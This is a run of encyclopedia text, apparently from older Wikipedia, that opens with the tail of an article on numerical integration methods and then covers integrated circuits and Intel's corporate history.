          Romberg's method builds on the trapezoid method to great effect. First, the step lengths are halved incrementally, giving trapezoid approximations denoted by T(h0), T(h1), and so on, where hk+1 is half of hk. For each new step size, only half the new function values need to be computed; the others carry over from the previous size (as shown in the table above). But the really powerful idea is to interpolate a polynomial through the approximations, and extrapolate to T(0). With this method a numerically exact answer here requires only four pieces (five function values)! The Lagrange polynomial interpolating {hk,T(hk)}k=02= {(4.00,6.128), (2.00,4.352), (1.00,3.908)} is 3.76+0.148h2, producing the extrapolated value 3.76 at h= 0.


          Gaussian quadrature often requires noticeably less work for superior accuracy. In this example, it can compute the function values at just two x positions, 23, then double each value and sum to get the numerically exact answer. The explanation for this dramatic success lies in error analysis, and a little luck. An n-point Gaussian method is exact for polynomials of degree up to 2n1. The function in this example is a degree 3 polynomial, plus a term that cancels because the chosen endpoints are symmetric around zero. (Cancellation also benefits the Romberg method.)


          Shifting the range left a little, so the integral is from 2.25 to 1.75, removes the symmetry. Nevertheless, the trapezoid method is rather slow, the polynomial interpolation method of Romberg is acceptable, and the Gaussian method requires the least work  if the number of points is known in advance. As well, rational interpolation can use the same trapezoid evaluations as the Romberg method to greater effect.


          
            	
              
                
                  Quadrature method cost comparison
                

                
                  	Method

                  	Trapezoid

                  	Romberg

                  	Rational

                  	Gauss
                


                
                  	Points

                  	1048577

                  	257

                  	129

                  	36
                


                
                  	Rel. Err.

                  	5.31013

                  	6.31015

                  	8.81015

                  	3.11015
                


                
                  	Value

                  	[image: \textstyle \int_{-2.25}^{1.75} f(x)\,dx = 4.1639019006585897075\ldots]
                

              

            

          


          In practice, each method must use extra evaluations to ensure an error bound on an unknown function; this tends to offset some of the advantage of the pure Gaussian method, and motivates the popular GaussKronrod hybrid. Symmetry can still be exploited by splitting this integral into two ranges, from 2.25 to 1.75 (no symmetry), and from 1.75 to 1.75 (symmetry). More broadly, adaptive quadrature partitions a range into pieces based on function properties, so that data points are concentrated where they are needed most.


          This brief introduction omits higher-dimensional integrals (for example, area and volume calculations), where alternatives such as Monte Carlo integration have great importance.


          A calculus text is no substitute for numerical analysis, but the reverse is also true. Even the best adaptive numerical code sometimes requires a user to help with the more demanding integrals. For example, improper integrals may require a change of variable or methods that can avoid infinite function values; and known properties like symmetry and periodicity may provide critical leverage.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Integral"
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          In electronics, an integrated circuit (also known as IC, microcircuit, microchip, silicon chip, or chip) is a miniaturized electronic circuit (consisting mainly of semiconductor devices, as well as passive components) that has been manufactured in the surface of a thin substrate of semiconductor material. Integrated circuits are used in almost all electronic equipment in use today and have revolutionized the world of electronics.


          A hybrid integrated circuit is a miniaturized electronic circuit constructed of individual semiconductor devices, as well as passive components, bonded to a substrate or circuit board.


          This article is about monolithic integrated circuits.


          


          Introduction


          Integrated circuits were made possible by experimental discoveries which showed that semiconductor devices could perform the functions of vacuum tubes, and by mid-20th-century technology advancements in semiconductor device fabrication. The integration of large numbers of tiny transistors into a small chip was an enormous improvement over the manual assembly of circuits using discrete electronic components. The integrated circuit's mass production capability, reliability, and building-block approach to circuit design ensured the rapid adoption of standardized ICs in place of designs using discrete transistors.


          There are two main advantages of ICs over discrete circuits: cost and performance. Cost is low because the chips, with all their components, are printed as a unit by photolithography and not constructed one transistor at a time. Performance is high since the components switch quickly and consume little power, because the components are small and close together. As of 2006, chip areas range from a few square mm to around 350 mm, with up to 1 million transistors per mm.


          


          Invention


          


          The birth of the IC


          The integrated circuit was conceived by a radar scientist, Geoffrey W.A. Dummer (1909-2002), working for the Royal Radar Establishment of the British Ministry of Defence, and published at the Symposium on Progress in Quality Electronic Components in Washington, D.C. on May 7, 1952. He gave many symposiums publicly to propagate his ideas.


          Dummer unsuccessfully attempted to build such a circuit in 1956.


          The integrated circuit was independently co-invented by Jack Kilby of Texas Instruments and Robert Noyce of Fairchild Semiconductor around the same time. Kilby recorded his initial ideas concerning the integrated circuit in July 1958 and successfully demonstrated the first working integrated circuit on September 12, 1958. Kilby won the 2000 Nobel Prize in Physics for his part of the invention of the integrated circuit. Robert Noyce also came up with his own idea of integrated circuit, half a year later than Kilby. Noyce's chip had solved many practical problems that the microchip developed by Kilby had not. Noyce's chip, made at Fairchild, was made of silicon, whereas Kilby's chip was made of germanium.


          Early developments of the integrated circuit go back to 1949, when the German engineer Werner Jacobi ( Siemens AG) filed a patent for an integrated-circuit-like semiconductor amplifying device showing five transistors on a common substrate arranged in a 3-stage amplifier arrangement. Jacobi discloses small and cheap hearing aids as typical industrial applications of his patent. A commercial use of his patent has not been reported.


          

          A precursor idea to the IC was to create small ceramic squares (wafers), each one containing a single miniaturized component. Components could then be integrated and wired into a bidimensional or tridimensional compact grid. This idea, which looked very promising in 1957, was proposed to the US Army by Jack Kilby, and led to the short-lived Micromodule Program (similar to 1951's Project Tinkertoy). However, as the project was gaining momentum, Kilby came up with a new, revolutionary design: the IC.


          The aforementioned Noyce credited Kurt Lehovec of Sprague Electric for the principle of p-n junction isolation caused by the action of a biased p-n junction (the diode) as a key concept behind the IC.


          See: Other variations of vacuum tubes for precursor concepts such as the Loewe 3NF.


          


          Generations


          


          SSI, MSI, LSI


          The first integrated circuits contained only a few transistors. Called "Small-Scale Integration" (SSI), they used circuits containing transistors numbering in the tens.


          SSI circuits were crucial to early aerospace projects, and vice-versa. Both the Minuteman missile and Apollo program needed lightweight digital computers for their inertial guidance systems; the Apollo guidance computer led and motivated the integrated-circuit technology, while the Minuteman missile forced it into mass-production.


          These programs purchased almost all of the available integrated circuits from 1960 through 1963, and almost alone provided the demand that funded the production improvements to get the production costs from $1000/circuit (in 1960 dollars) to merely $25/circuit (in 1963 dollars). They began to appear in consumer products at the turn of the decade, a typical application being FM inter-carrier sound processing in television receivers.


          The next step in the development of integrated circuits, taken in the late 1960s, introduced devices which contained hundreds of transistors on each chip, called "Medium-Scale Integration" (MSI).


          They were attractive economically because while they cost little more to produce than SSI devices, they allowed more complex systems to be produced using smaller circuit boards, less assembly work (because of fewer separate components), and a number of other advantages.


          Further development, driven by the same economic factors, led to "Large-Scale Integration" (LSI) in the mid 1970s, with tens of thousands of transistors per chip.


          Integrated circuits such as 1K-bit RAMs, calculator chips, and the first microprocessors, that began to be manufactured in moderate quantities in the early 1970s, had under 4000 transistors. True LSI circuits, approaching 10000 transistors, began to be produced around 1974, for computer main memories and second-generation microprocessors.


          


          VLSI


          
            [image: Upper interconnect layers on an Intel 80486DX2 microprocessor die.]

            
              Upper interconnect layers on an Intel 80486DX2 microprocessor die.
            

          


          The final step in the development process, starting in the 1980s and continuing through the present, was "Very Large-Scale Integration" ( VLSI). This could be said to start with hundreds of thousands of transistors in the early 1980s, and continues beyond several billion transistors as of 2007.


          There was no single breakthrough that allowed this increase in complexity, though many factors helped. Manufacturing moved to smaller rules and cleaner fabs, allowing them to produce chips with more transistors with adequate yield, as summarized by the International Technology Roadmap for Semiconductors (ITRS). Design tools improved enough to make it practical to finish these designs in a reasonable time. The more energy efficient CMOS replaced NMOS and PMOS, avoiding a prohibitive increase in power consumption. Better texts such as the landmark textbook by Mead and Conway helped schools educate more designers...


          In 1986 the first one megabit RAM chips were introduced, which contained more than one million transistors. Microprocessor chips passed the million transistor mark in 1989 and the billion transistor mark in 2005. The trend continues largely unabated, with chips introduced in 2007 containing tens of billions of memory transistors .


          


          ULSI, WSI, SOC, 3D-IC


          To reflect further growth of the complexity, the term ULSI that stands for "Ultra-Large Scale Integration" was proposed for chips of complexity of more than 1 million transistors.


          Wafer-scale integration (WSI) is a system of building very-large integrated circuits that uses an entire silicon wafer to produce a single "super-chip". Through a combination of large size and reduced packaging, WSI could lead to dramatically reduced costs for some systems, notably massively parallel supercomputers. The name is taken from the term Very-Large-Scale Integration, the current state of the art when WSI was being developed.


          System-on-a-Chip (SoC or SOC) is an integrated circuit in which all the components needed for a computer or other system are included on a single chip. The design of such a device can be complex and costly, and building disparate components on a single piece of silicon may compromise the efficiency of some elements. However, these drawbacks are offset by lower manufacturing and assembly costs and by a greatly reduced power budget: because signals among the components are kept on-die, much less power is required (see Packaging, above).


          Three Dimensional Integrated Circuit (3D-IC) has two or more layers of active electronic components that are integrated both vertically and horizontally into a single circuit. Communication between layers uses on-die signaling, so power consumption is much lower than in equivalent separate circuits. Judicious use of short vertical wires can substantially reduce overall wire length for faster operation.


          


          Advances in integrated circuits
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          Among the most advanced integrated circuits are the microprocessors or "cores", which control everything from computers to cellular phones to digital microwave ovens. Digital memory chips and ASICs are examples of other families of integrated circuits that are important to the modern information society. While cost of designing and developing a complex integrated circuit is quite high, when spread across typically millions of production units the individual IC cost is minimized. The performance of ICs is high because the small size allows short traces which in turn allows low power logic (such as CMOS) to be used at fast switching speeds.


          ICs have consistently migrated to smaller feature sizes over the years, allowing more circuitry to be packed on each chip. This increased capacity per unit area can be used to decrease cost and/or increase functionalitysee Moore's law which, in its modern interpretation, states that the number of transistors in an integrated circuit doubles every two years. In general, as the feature size shrinks, almost everything improvesthe cost per unit and the switching power consumption go down, and the speed goes up. However, ICs with nanometer-scale devices are not without their problems, principal among which is leakage current (see subthreshold leakage for a discussion of this), although these problems are not insurmountable and will likely be solved or at least ameliorated by the introduction of high-k dielectrics. Since these speed and power consumption gains are apparent to the end user, there is fierce competition among the manufacturers to use finer geometries. This process, and the expected progress over the next few years, is well described by the International Technology Roadmap for Semiconductors (ITRS).


          


          Popularity of ICs


          Only a half century after their development was initiated, integrated circuits have become ubiquitous. Computers, cellular phones, and other digital appliances are now inextricable parts of the structure of modern societies. That is, modern computing, communications, manufacturing and transport systems, including the Internet, all depend on the existence of integrated circuits. Indeed, many scholars believe that the digital revolutionbrought about by the microchip revolutionwas one of the most significant occurrences in the history of humankind.


          


          Classification
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          Integrated circuits can be classified into analog, digital and mixed signal (both analog and digital on the same chip).


          Digital integrated circuits can contain anything from a few thousand to millions of logic gates, flip-flops, multiplexers, and other circuits in a few square millimeters. The small size of these circuits allows high speed, low power dissipation, and reduced manufacturing cost compared with board-level integration. These digital ICs, typically microprocessors, DSPs, and micro controllers work using binary mathematics to process "one" and "zero" signals.


          Analog ICs, such as sensors, power management circuits, and operational amplifiers, work by processing continuous signals. They perform functions like amplification, active filtering, demodulation, mixing, etc. Analog ICs ease the burden on circuit designers by having expertly designed analog circuits available instead of designing a difficult analog circuit from scratch.


          ICs can also combine analog and digital circuits on a single chip to create functions such as A/D converters and D/A converters. Such circuits offer smaller size and lower cost, but must carefully account for signal interference.


          


          Manufacture


          


          Fabrication
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          The semiconductors of the periodic table of the chemical elements were identified as the most likely materials for a solid state vacuum tube by researchers like William Shockley at Bell Laboratories starting in the 1930s. Starting with copper oxide, proceeding to germanium, then silicon, the materials were systematically studied in the 1940s and 1950s. Today, silicon monocrystals are the main substrate used for integrated circuits (ICs) although some III-V compounds of the periodic table such as gallium arsenide are used for specialized applications like LEDs, lasers, solar cells and the highest-speed integrated circuits. It took decades to perfect methods of creating crystals without defects in the crystalline structure of the semiconducting material.


          Semiconductor ICs are fabricated in a layer process which includes these key process steps:


          
            	Imaging


            	Deposition


            	Etching

          


          The main process steps are supplemented by doping, cleaning and polarization steps.


          Mono-crystal silicon wafers (or for special applications, silicon on sapphire or gallium arsenide wafers) are used as the substrate. Photolithography is used to mark different areas of the substrate to be doped or to have polysilicon, insulators or metal (typically aluminium) tracks deposited on them.


          
            	Integrated circuits are composed of many overlapping layers, each defined by photolithography, and normally shown in different colors. Some layers mark where various dopants are diffused into the substrate (called diffusion layers), some define where additional ions are implanted (implant layers), some define the conductors (polysilicon or metal layers), and some define the connections between the conducting layers (via or contact layers). All components are constructed from a specific combination of these layers.

          


          
            	In a self-aligned CMOS process, a transistor is formed wherever the gate layer (polysilicon or metal) crosses a diffusion layer.

          


          
            	Resistive structures, meandering stripes of varying lengths, form the loads on the circuit. The ratio of the length of the resistive structure to its width, combined with its sheet resistivity determines the resistance.

          


          
            	Capacitive structures, in form very much like the parallel conducting plates of a traditional electrical capacitor, are formed according to the area of the "plates", with insulating material between the plates. Owing to limitations in size, only very small capacitances can be created on an IC.

          


          
            	More rarely, inductive structures can be built as tiny on-chip coils, or simulated by gyrators.

          


          Since a CMOS device only draws current on the transition between logic states, CMOS devices consume much less current than bipolar devices.


          A random access memory is the most regular type of integrated circuit; the highest density devices are thus memories; but even a microprocessor will have memory on the chip. (See the regular array structure at the bottom of the first image.) Although the structures are intricate  with widths which have been shrinking for decades  the layers remain much thinner than the device widths. The layers of material are fabricated much like a photographic process, although light waves in the visible spectrum cannot be used to "expose" a layer of material, as they would be too large for the features. Thus photons of higher frequencies (typically ultraviolet) are used to create the patterns for each layer. Because each feature is so small, electron microscopes are essential tools for a process engineer who might be debugging a fabrication process.


          Each device is tested before packaging using automated test equipment (ATE), in a process known as wafer testing, or wafer probing. The wafer is then cut into rectangular blocks, each of which is called a die. Each good die (plural dice, dies, or die) is then connected into a package using aluminium (or gold) wires which are welded to pads, usually found around the edge of the die. After packaging, the devices go through final testing on the same or similar ATE used during wafer probing. Test cost can account for over 25% of the cost of fabrication on lower cost products, but can be negligible on low yielding, larger, and/or higher cost devices.


          As of 2005, a fabrication facility (commonly known as a semiconductor fab) costs over a billion US Dollars to construct, because much of the operation is automated. The most advanced processes employ the following techniques:


          
            	The wafers are up to 300 mm in diameter (wider than a common dinner plate).


            	Use of 65 nanometer or smaller chip manufacturing process. Intel, IBM, NEC, and AMD are using 45 nanometers for their CPU chips, and AMD and NEC have started using a 65 nanometer process. IBM and AMD are in development of a 45nm process using immersion lithography.


            	Copper interconnects where copper wiring replaces aluminium for interconnects.


            	Low-K dielectric insulators.


            	Silicon on insulator (SOI)


            	Strained silicon in a process used by IBM known as strained silicon directly on insulator (SSDOI)

          


          


          Packaging


          The earliest integrated circuits were packaged in ceramic flat packs, which continued to be used by the military for their reliability and small size for many years. Commercial circuit packaging quickly moved to the dual in-line package (DIP), first in ceramic and later in plastic. In the 1980s pin counts of VLSI circuits exceeded the practical limit for DIP packaging, leading to pin grid array (PGA) and leadless chip carrier (LCC) packages. Surface mount packaging appeared in the early 1980s and became popular in the late 1980s, using finer lead pitch with leads formed as either gull-wing or J-lead, as exemplified by small-outline integrated circuit -- a carrier which occupies an area about 30  50% less than an equivalent DIP, with a typical thickness that is 70% less. This package has "gull wing" leads protruding from the two long sides and a lead spacing of 0.050 inches.


          Small-outline integrated circuit (SOIC) and PLCC packages. In the late 1990s, PQFP and TSOP packages became the most common for high pin count devices, though PGA packages are still often used for high-end microprocessors. Intel and AMD are currently transitioning from PGA packages on high-end microprocessors to land grid array (LGA) packages.


          Ball grid array (BGA) packages have existed since the 1970s. Flip-chip Ball Grid Array packages, which allow for much higher pin count than other package types, were developed in the 1990s. In an FCBGA package the die is mounted upside-down (flipped) and connects to the package balls via a package substrate that is similar to a printed-circuit board rather than by wires. FCBGA packages allow an array of input-output signals (called Area-I/O) to be distributed over the entire die rather than being confined to the die periphery.


          Traces out of the die, through the package, and into the printed circuit board have very different electrical properties, compared to on-chip signals. They require special design techniques and need much more electric power than signals confined to the chip itself.


          When multiple dies are put in one package, it is called SiP, for System In Package. When multiple dies are combined on a small substrate, often ceramic, it's called an MCM, or Multi-Chip Module. The boundary between a big MCM and a small printed circuit board is sometimes fuzzy.


          


          Other developments


          In the 1980's programmable integrated circuits were developed. These devices contain circuits whose logical function and connectivity can be programmed by the user, rather than being fixed by the integrated circuit manufacturer. This allows a single chip to be programmed to implement different LSI-type functions such as logic gates, adders, and registers. Current devices named FPGAs (Field Programmable Gate Arrays) can now implement tens of thousands of LSI circuits in parallel and operate up to 550 MHz.


          The techniques perfected by the integrated circuits industry over the last three decades have been used to create microscopic machines, known as MEMS. These devices are used in a variety of commercial and military applications. Example commercial applications include DLP projectors, inkjet printers, and accelerometers used to deploy automobile airbags.


          In the past, radios could not be fabricated in the same low-cost processes as microprocessors. But since 1998, a large number of radio chips have been developed using CMOS processes. Examples include Intel's DECT cordless phone, or Atheros's 802.11 card.


          Future developments seem to follow the multi-microprocessor paradigm, already used by the Intel and AMD dual-core processors. Intel recently unveiled a prototype, "not for commercial sale" chip that bears a staggering 80 microprocessors. Each core is capable of handling its own task independently of the others. This is in response to the heat-versus-speed limit that is about to be reached using existing transistor technology. This design provides a new challenge to chip programming. X10 is the new open-source programming language designed to assist with this task.


          


          Silicon graffiti


          Ever since ICs were created, some chip designers have used the silicon surface area for surreptitious, non-functional images or words. These are sometimes referred to as Chip Art, Silicon Art, Silicon Graffiti or Silicon Doodling. For an overview of this practice, see the article The Secret Art of Chip Graffiti, from the IEEE magazine Spectrum and the Silicon Zoo.
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          Intel Corporation ( NASDAQ: INTC; SEHK: 4335) is the world's largest semiconductor company and the inventor of the x86 series of microprocessors, the processors found in most personal computers. Founded in 1968 as Integrated Electronics Corporation and based in Santa Clara, California, USA, Intel also makes motherboard chipsets, network cards and ICs, flash memory, graphic chips, embedded processors, and other devices related to communications and computing. Founded by semiconductor pioneers Robert Noyce and Gordon Moore, and widely associated with the executive leadership and vision of Andrew Grove, Intel combines advanced chip design capability with a leading-edge manufacturing capability. Originally known primarily to engineers and technologists, Intel's successful "Intel Inside" advertising campaign of the 1990s made it and its Pentium processor household names.


          Intel was an early developer of SRAM and DRAM memory chips, and this represented the majority of its business until the early 1990s. While Intel created the first commercial microprocessor chip in 1971, it was not until the creation of the personal computer (PC) that this became their primary business. During the 1990s, Intel invested heavily in new microprocessor designs and in fostering the rapid growth of the PC industry. During this period Intel became the dominant supplier of microprocessors for PCs, and was known for aggressive and sometimes controversial tactics in defense of its market position, as well as a struggle with Microsoft for control over the direction of the PC industry. The 2007 rankings of the world's 100 most powerful brands published by Millward Brown Optimor showed the company's brand value falling 10 places  from number 15 to number 25.


          


          Corporate history
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          Intel was founded in 1968 by Gordon E. Moore (a chemist and physicist) and Robert Noyce (a physicist and co-inventor of the integrated circuit) when they left Fairchild Semiconductor. A number of other Fairchild employees also went on to participate in other Silicon Valley companies. Intel's third employee was Andy Grove, (a chemical engineer), who ran the company through much of the 1980s and the high-growth 1990s. Grove is now remembered as the company's key business and strategic leader. By the end of the 1990s, Intel was one of the largest and most successful businesses in the world.


          


          Origin of the name


          At its founding, Gordon Moore and Robert Noyce wanted to name their new company "Moore Noyce". The name, however, sounded remarkably similar to "more noise"  an ill-suited name for an electronics company, since noise is typically associated with bad interference. They then used the name NM Electronics for almost a year, before deciding to call their company INTegrated ELectronics or "Intel" for short. However, Intel was already trademarked by a hotel chain, so they had to buy the rights for that name at the beginning.


          


          Company's evolution


          Intel has grown through several distinct phases. At its founding, Intel was distinguished simply by its ability to make semiconductors, and its primary products were static random access memory (SRAM) chips. Intel's business grew during the 1970s as it expanded and improved its manufacturing processes and produced a wider range of products, still dominated by various memory devices.


          While Intel created the first microprocessor in 1971 and one of the first microcomputers in 1972, by the early 1980s its business was dominated by dynamic random access memory chips. However, increased competition from Japanese semiconductor manufacturers had by 1983 dramatically reduced the profitability of this market, and the sudden success of the IBM personal computer convinced then-CEO Grove to shift the company's focus to microprocessors, and to change fundamental aspects of that business model. By the end of the 1980s this decision had proven successful, and Intel embarked on a 10-year period of unprecedented growth as the primary (and most profitable) hardware supplier to the PC industry.


          After 2000, growth in demand for high-end microprocessors slowed and competitors garnered significant market share, initially in low-end and mid-range processors but ultimately across the product range, and Intel's dominant position was reduced. In the early 2000s then-CEO Craig Barrett attempted to diversify the company's business beyond semiconductors, but few of these activities were ultimately successful.


          In 2005, CEO Paul Otellini reorganized the company to refocus its core processor and chipset business on platforms (enterprise, digital home, digital health, and mobility) which led to the hiring of over 20,000 new employees. In September of 2006 due to falling profits, the company announced a restructuring that resulted in layoffs of 10,500 employees or about 10 percent of its workforce by July of 2006. Its research lab located at Cambridge University was closed at the end of 2006.


          


          Sale of XScale processor business


          On June 27, 2006, the sale of Intel's XScale assets was announced. Intel agreed to sell the XScale processor business to Marvell Technology Group for an estimated $600 million in cash and the assumption of unspecified liabilities. The move is intended to permit Intel to focus its resources on its core x86 and server businesses. The acquisition was completed on November 9, 2006.


          


          Market history


          


          SRAMS and the microprocessor


          The company's first products were shift register memory and random-access memory integrated circuits, and Intel grew to be a leader in the fiercely competitive DRAM, SRAM, and ROM markets throughout the 1970s. Concurrently, Intel engineers Marcian Hoff, Federico Faggin, Stanley Mazor and Masatoshi Shima invented the first microprocessor. Originally developed for the Japanese company Busicom to replace a number of ASICs in a calculator already produced by Busicom, the Intel 4004 was introduced to the mass market on November 15, 1971, though the microprocessor did not become the core of Intel's business until the mid-1980s. (Note: Intel is usually given credit with Texas Instruments for the almost-simultaneous invention of the microprocessor.)


          


          From DRAM to microprocessors


          In 1983, at the dawn of the personal computer era, Intel's profits came under increased pressure from Japanese memory-chip manufacturers, and then-President Andy Grove drove the company into a focus on microprocessors. Grove described this transition in the book Only the Paranoid Survive. A key element of his plan was the notion, then considered radical, of becoming the single source for successors to the popular 8086 microprocessor.


          Until then, manufacture of complex integrated circuits was not reliable enough for customers to depend on a single supplier, but Grove began producing processors in three geographically distinct factories, and ceased licensing the chip designs to competitors such as Zilog and AMD. When the PC industry exploded in the late 1980s and 1990s, Intel was one of the primary beneficiaries.


          


          Intel, x86 processors, and the IBM PC
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          Despite the ultimate importance of the microprocessor, the 4004 and its successors the 8008 and the 8080 were never major revenue contributors at Intel. As the next processor, the 8086 (and its variant the 8088) was completed in 1978, Intel embarked on a major marketing and sales campaign for that chip nicknamed "Operation Crush", and intended to win as many customers for the processor as possible. One design win was the newly-created IBM PC division, though the importance of this was not fully realized at the time.


          IBM introduced its personal computer in 1981, and it was rapidly successful. In 1982, Intel created the 80286 microprocessor, which, two years later, was used in the IBM PC/AT. Compaq, the first IBM PC "clone" manufacturer, in 1985 produced a desktop system based on the faster 80286 processor and in 1986 quickly followed with the first 80386-based system, beating IBM and establishing a competitive market for PC-compatible systems and setting up Intel as a key component supplier.


          In 1975 the company had started a project to develop a highly-advanced 32-bit microprocessor, finally released in 1981 as the Intel iAPX 432. The project was too ambitious and the processor was never able to meet its performance objectives, and it failed in the marketplace. Intel extended the x86 architecture to 32 bits instead.


          [bookmark: 386_microprocessor]


          386 microprocessor


          During this period Andy Grove dramatically redirected the company, closing much of its DRAM business and directing resources to the microprocessor business. Of perhaps greater importance was his decision to "single-source" the 386 microprocessor. Prior to this, microprocessor manufacturing was in its infancy, and manufacturing problems frequently reduced or stopped production, interrupting supplies to customers. To mitigate this risk, these customers typically insisted that multiple manufacturers produce chips they could use to ensure a consistent supply. The 8080 and 8086-series microprocessors were produced by several companies, notably Zilog and AMD. Grove made the decision not to license the 386 design to other manufacturers, instead producing it in three geographically distinct factories in Santa Clara, CA; Hillsboro, OR; and the Phoenix, Arizona suburb of Chandler; and convincing customers that this would ensure consistent delivery. As the success of Compaq's Deskpro 386 established the 386 as the dominant CPU choice, Intel achieved a position of near-exclusive dominance as its supplier. Profits from this funded rapid development of both higher-performance chip designs and higher-performance manufacturing capabilities, propelling Intel to a position of unquestioned leadership by the early 1990s.
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          486, Pentium, and Itanium


          Intel introduced the 486 microprocessor in 1989, and in 1990 formally established a second design team, designing the processors code-named "P5" and "P6" in parallel and committing to a major new processor every two years, versus the four or more years such designs had previously taken. The P5 was earlier known as "Operation Bicycle" referring to the cycles of the processor. The P5 was introduced in 1993 as the Intel Pentium, substituting a trademarked name for the former part number (numbers, like 486, cannot be trademarked). The P6 followed in 1995 as the Pentium Pro and improved into the Pentium II in 1997. New architectures were developed alternately in Santa Clara, California and Hillsboro, Oregon.


          The Santa Clara design team embarked in 1993 on a successor to the x86 architecture, codenamed "P7". The first attempt was dropped a year later, but quickly revived in a cooperative program with Hewlett-Packard engineers, though Intel soon took over primary design responsibility. The resulting implementation of the IA-64 64-bit architecture was the Itanium, finally introduced in June 2001. The Itanium's performance running legacy x86 code did not achieve expectations, and it failed to effectively compete with 64-bit extensions to the original x86 architecture, first from AMD (the AMD64), then from Intel itself (the Intel 64 architecture, formerly known as EM64T). As of November 2007, Intel continues to develop and deploy the Itanium.


          The Hillsboro team designed the Willamette processor (code-named P67 and P68) which was marketed as the Pentium 4, and later developed the 64-bit extensions to the x86 architecture, present in some versions of the Pentium 4 and in the Intel Core 2 chips. Many chip variants were developed at an office in Haifa, Israel.


          


          Pentium flaw


          In June 1994, Intel engineers discovered a flaw in the floating-point math subsection of the Pentium microprocessor. Under certain data dependent conditions, low order bits of the result of floating-point division operations would be incorrect, an error that can quickly compound in floating-point operations to much larger errors in subsequent calculations. Intel corrected the error in a future chip revision, but nonetheless declined to disclose it.


          In October 1994, Dr. Thomas Nicely, Professor of Mathematics at Lynchburg College independently discovered the bug, and upon receiving no response from his inquiry to Intel, on October 30 posted a message on the Internet. Word of the bug spread quickly on the Internet and then to the industry press. Because the bug was easy to replicate by an average user (there was a sequence of numbers one could enter into the OS calculator to show the error), Intel's statements that it was minor and "not even an erratum" were not accepted by many computer users. During Thanksgiving 1994, the New York Times ran a piece by journalist John Markoff spotlighting the error. Intel changed its position and offered to replace every chip, quickly putting in place a large end-user support organization. This resulted in a $500 million charge against Intel's 1994 revenue.


          Ironically, the "Pentium flaw" incident, Intel's response to it, and the surrounding media coverage propelled Intel from being a technology supplier generally unknown to most computer users to a household name. Dovetailing with an uptick in the "Intel Inside" campaign, the episode is considered by some to have been a positive event for Intel, changing some of its business practices to be more end-user focused and generating substantial public awareness, while avoiding (for most users) a lasting negative impression.


          


          Intel Inside, Intel Systems Division, and Intel Architecture Labs


          During this period, Intel undertook two major supporting programs that helped guarantee their processor's success. The first is widely-known: the 1990 " Intel Inside" marketing and branding campaign. This campaign established Intel, which had been a component supplier little-known outside the PC industry, as a household name. The second program is little-known: Intel's Systems Group began, in the early 1990s, manufacturing PC " motherboards", the main board component of a personal computer, and the one into which the processor (CPU) and memory (RAM) chips are plugged. Shortly after, Intel began manufacturing fully-configured "white box" systems for the dozens of PC clone companies that rapidly sprang up. At its peak in the mid-1990s, Intel manufactured over 15% of all PCs, making it the third-largest supplier at the time. By manufacturing leading-edge PC motherboards systems, Intel enabled smaller manufacturers to compete with larger manufacturers, accelerating the adoption of the newest microprocessors and system architecture, including the PCI bus, USB and other innovations. This led to more rapid adoption of each of its new processors in turn.


          During the 1990s, Intel's Architecture Lab (IAL) was responsible for many of the hardware innovations of the personal computer, including the PCI Bus, the PCI Express (PCIe) bus, the Universal Serial Bus (USB), Bluetooth wireless interconnect, and the now-dominant architecture for multiprocessor servers. IAL's software efforts met with a more mixed fate; its video and graphics software was important in the development of software digital video, but later its efforts were largely overshadowed by competition from Microsoft. The competition between Intel and Microsoft was revealed in testimony by IAL Vice-President Steven McGeady at the Microsoft antitrust trial.


          Another factor contributing to rapid adoption of Intel's processors during this period were the successive release of Microsoft Windows operating systems, each requiring significantly greater processor resources. The releases of Windows 95, Windows 98, and Windows 2000 provided impetus for successive generations of hardware.


          


          Competition, antitrust and espionage


          Two factors combined to end this dominance: the slowing of PC demand growth beginning in 2000 and the rise of the low-cost PC. By the end of the 1990s, microprocessor performance had outstripped software demand for that CPU power. Aside from high-end server systems and software, demand for which dropped with the end of the " dot-com bubble", consumer systems ran effectively on increasingly low-cost systems after 2000. Intel's strategy of producing ever-more-powerful processors and obsoleting their predecessors stumbled, leaving an opportunity for rapid gains by competitors, notably AMD. This in turn lowered the profitability of the processor line and ended an era of unprecedented dominance of the PC hardware by Intel.


          Intel's dominance in the x86 microprocessor market led to numerous charges of antitrust violations over the years, including FTC investigations in both the late 1980s and in 1999, and civil actions such as the 1997 suit by Digital Equipment Corporation (DEC) and a patent suit by Intergraph. Intel's market dominance (at one time it controlled over 85% of the market for 32-bit PC microprocessors) combined with Intel's own hardball legal tactics (such as its infamous 338 patent suit versus PC manufacturers) made it an attractive target for litigation, but few of the lawsuits ever amounted to anything.


          A case of industrial espionage arose in 1995 that involved both Intel and AMD. Guillermo Gaede, an Argentine formerly employed both at AMD and at Intel's Arizona plant, was arrested for attempting in 1993 to sell the i486 and Pentium designs to AMD and to certain foreign powers. Gaede videotaped data from his computer screen at Intel and mailed it to AMD, which alerted Intel and authorities, resulting in Gaede's arrest. Gaede was convicted and sentenced to 33 months in prison in June of 1996.


          


          Partnership with Apple


          On June 6, 2005, Apple CEO Steve Jobs announced that Apple would be transitioning from its long favored PowerPC architecture to the Intel x86 architecture, because the future PowerPC road map was unable to satisfy Apple's needs. The first Macintosh computers containing Intel CPUs were announced on January 10, 2006, and Apple had its entire line of consumer Macs running on Intel processors by early August 2006. The Apple Xserve server was updated to Intel Xeon processors from November 2006, and is offered in a configuration similar to Apple's Mac Pro.


          


          Core Duo advertisement controversy


          In 2007, the company released a print advertisement for its Core Duo processor featuring six African American runners appearing to bow down to a Caucasian male inside of an office setting (due to the posture taken by runners on starting blocks). According to Nancy Bhagat, Vice President of Intel Corporate Marketing, the general public found the ad to be "insensitive and insulting". The campaign was quickly pulled and several Intel executives made public apologies on the corporate website.


          


          Corporate affairs


          In September 2006, Intel had nearly 100,000 employees and 200 facilities world wide. Its 2005 revenues were $38.8 billion and its Fortune 500 ranking was 49th. Its stock symbol is INTC, listed on the NASDAQ.


          


          Leadership and corporate structure


          Robert Noyce was Intel's CEO at its founding in 1968, followed by co-founder Gordon Moore in 1975. Andy Grove became the company's President in 1979 and added the CEO title in 1987 when Moore became Chairman. In 1997 Grove succeeded Moore as Chairman, and Craig Barrett, already company president, took over. On May 18, 2005, Barrett handed the reins of the company over to Paul Otellini, who previously was the company president and was responsible for Intel's design win in the original IBM PC. The board of directors elected Otellini CEO, and Barrett replaced Grove as Chairman of the Board. Grove stepped down as Chairman, but is retained as a special adviser.


          Current members of the board of directors of Intel are Craig Barrett, Charlene Barshefsky, Susan Decker, James Guzy, Reed Hundt, Paul Otellini, James Plummer, David Pottruck, Jane Shaw, John Thornton, and David Yoffie.


          


